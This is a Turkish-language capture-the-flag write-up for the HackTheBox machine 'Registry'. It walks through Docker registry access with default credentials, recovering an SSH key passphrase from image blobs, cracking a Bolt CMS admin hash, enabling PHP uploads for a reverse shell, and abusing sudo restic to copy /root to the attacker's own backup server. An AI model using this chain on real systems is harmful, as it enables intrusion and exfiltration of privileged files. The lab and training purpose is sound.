Giriş

Registry HackTheBoxta 40 puanlık “Zor” kategorisinde bir makine. Makine üzerinde kolay, tahmin edilebilir bir şifre kullanılmış private docker registry sunucusu mevcut. Bu sunucudaki docker imajında ana host üzerinde bir kullanıcıya ait ssh anahtarı bulunuyor, saldırgan bu anahtarın şifresini de biraz araştırmayla bulduktan sonra ana makineye ilk erişimi sağlayabiliyor. Sunucuda Bolt adında bir CMS var ve bu uygulamanın admin kullanıcısının hashi kolay bir şekilde kırılabiliyor. www-data kullanıcısının root yetkisiyle restic adlı programı kullanarak sunucunun yedeklemesini yapma yetkisi mevcut. Sunucunun yedeklemesi yapıldıktan sonra ana sunucuda root yetkisine erişilebiliyor.
İlk inceleme
Port taraması
Her zaman olduğu gibi nmap ile başlıyoruz
1 | λ ~/Desktop/htb/machines/registry nmap -sVCS -T5 -oA nmap/initial 10.10.10.159 |
Ssl sertifikası bize docker.registry.htb hostunu veriyor
Bu hostu /etc/hosts dosyasına aşağıdaki gibi ekledim
1 | 10.10.10.159 registry.htb docker.registry.htb |
İçerik keşfi
1 | λ ~/Desktop/htb/machines/registry gobuster dir -u https://registry.htb/ -w /opt/SecLists/Discovery/Web-Content/common.txt -x php,html -t 50 -k |
Uzantıları kaba kuvvetle arayarak aşağıdaki linkleri buldum.
1 | https://registry.htb/install/ |
Install bitiş noktası
Buraya ilk bakışta bir şeyler garip gelmişti, nasıl bir dosya olduğuna göz atmak için bu bitiş noktasının index dosyasını indirip nasıl bir dosya diye baktım.

Gzip dosyası içinde bir ca sertifikası ve bir readme dosyası içeriyordu

1 | λ ~/Desktop/htb/machines/registry/install cat readme.md |
Readme dosyası bana ne olup ne bittiğine anlamama yardımcı oldu. Bu aşamada sunucuda private docker registry sunucusu olduğunu anladım ve büyük ihtimal üzerinde çalışacağım, inceleyeceğim imajlar içerecekti
En yaygın kullanıcı adı şifre kombinasyonlarından biri olan admin:admin ile giriş yapabildim

Ve bu aşamadan sonra bu bitiş noktasından da docker imajlarına erişeceğim çok bariz gözüküyordu
Private Docker Registry
https://docker.registry.htb/v2 bitiş noktasını daha fazla incelemek istedim
1 | gobuster dir -u https://docker.registry.htb/v2 -w /opt/SecLists/Discovery/Web-Content/raft-large-directories.txt -t 50 -k |
/_catalog (Status: 401)
Kimlik doğrulama için basic authorization headerı kullanılıyordu
1 | λ ~/Desktop/htb/machines/registry curl -H "Authorization: Basic YWRtaW46YWRtaW4=" https://docker.registry.htb/v2/_catalog -k |
Ve bu docker registry “bolt-image” adında bir imaja sahipti
Ca sertifikasının kurulumu
Docker imajını kendi localime indirebilmem için ca sertifikasını kurmam gerekiyordu
Readmedeki bu link gayet basit bir şekilde neler yapmam gerektiğini anlatıyordu, anlatılanları birebir uygulayarak sertifikayı kurdum
https://docs.docker.com/engine/security/certificates/

Docker imajının indirilmesi
Kalide docker kurmak isteyenler aşağıdaki linki takip edebilirler
https://docs.docker.com/install/linux/docker-ce/debian/
1 | service docker start |

Ssh anahtarı

/root/.ssh/id_rsa
anaharı şifreliydi ve bu anahtar bolt@registry.htb
için yapılmıştı
Fakat hiç bir kelime listesiyle bu anahtarı kıramadım. Ssh anahtarının şifresinin bir yerlerde olacağını tahmin ederek daha fazla incelemeye devam ettim.
Bloblar
Docker registrynin yapısını aşağıdaki link gayet güzel bir şekilde anlatıyor.
https://www.notsosecure.com/anatomy-of-a-hack-docker-registry/

Bloblar aşağıdaki formattaki gibi indirilebiliyor
https://docker.registry.htb/v2/bolt-image/blobs/sha256:302bfcb3f10c386a25a58913917257bd2fe772127e36645192fa35e4c6b3c66b
Bütün blobları indirmek için küçük bir script yazdım
1 | input="blobs" |
Bloblardan bir tanesi ssh anahtarının şifresini içeriyordu

Şifre : GkOcz221Ftb3ugog
Daha kolay çalışmak için ssh anahtarını açtımopenssl rsa -in id_rsa -out id_rsa.decoded
Bolt kullanıcısıyla ssh

Daha ileri inceleme
Bu aşamada sunucu hakkında daha iyi bilgi sahibi olmak için linpeas scriptini çalıştırdım
Web sunucusunda ilk aşamalarda göremediğim bir dizin daha vardı

Linpeas otomatik olarak sqlite dosyalarındaki tablolardan verileri dışarı çıkartıp bana gösteriyordu ve burda admin kullanıcısının hashini gördüm

Rockyou kelime listesi ile basit bir şekilde kırıldı

www-data kullanıcısına düşme
admin:strawberry

/var/www/html/
dizininin altına yazma iznimiz yoktu
Bolt CMSye giriş yaptıktan sonra, sunucuya kolayca dosya yüklenebiliyordu fakat bir takım kısıtlamalar mevcuttu
Şanslıyım ki ben admin kullanıcısıydım ve uygulama üzerinde tam yetkim mevcuttu, konfigürasyon dosyalarını değiştirebiliyordum

Config.yml dosyasını birazcık değiştirdim ve php dosyalarını yüklemeyi kabul etmesine izin verdim
https://registry.htb/bolt/bolt/file/edit/config/config.yml

www-data kullanıcısıyla basit bir tersine bağlantı aldım

Roota yolculuk
Genelde bir kullanıcıya erişim sağladığımda sudo girdilerini incelemek ilk yaptığım şeyler arasındadır.
www-data kullanıcısı root yetkisiyle çalıştırabileceği bir girdiye sahipti
1 | www-data@bolt:~$ sudo -l |
Restic sunucusunu kurma
Biraz araştırma yaptıktan sonra restic in bir yedekleme programı olduğunu ve başka sunuculara da bu yedeklenmenin yönlendirilebileceğini gördüm
www-data kullanıcısı herhangi bir dosyayı herhangi bir restic sunucusu üzerinde saklayabiliyordu, harika !
Kalimde bir restic sunucusu hazırladım
Bunun için aşağıdaki linki takip edebilirsiniz
https://github.com/restic/rest-server
1 | apt install restic |
Yedekleme işlemi
Bu işlem için 8000 portunu sunucuya ilerletmem gerekiyordu
1 | ssh -i .ssh/id_rsa.decoded bolt@registry.htb -R 8000:127.0.0.1:8000 |
Bu aşamada interaktif bir kabuğunuz olduğundan emin olun çünkü restic sizden karşıdaki kaynağın şifresini soracak
1 | sudo /usr/bin/restic backup -r rest:http://127.0.0.1:8000/ /root |

Geriye çevirmek
Dönüm noktasını geriye çevirdim.
1 | restic restore aea5ab4b940c530b9f0679d1da33fc7497958936308d8f9b0c50ebad735ed1b5 --target ~/Desktop/htb/machines/registry/root_backup -r ~/Desktop/htb/machines/registry/backup |

Bitiş
Dönüm noktasını geriye çevirdikten sonra, root kullanıcısının ssh anahtarı olduğunu gördüm ve kullandım

\o/
Vee root olarak makineyi bitirdim
Bu makine için thek‘ e teşekkürler…
Okuduğunuz için teşekkürler, her hangi bir sorunuz olursa herhangi bir yerden ulaşmaktan çekinmeyin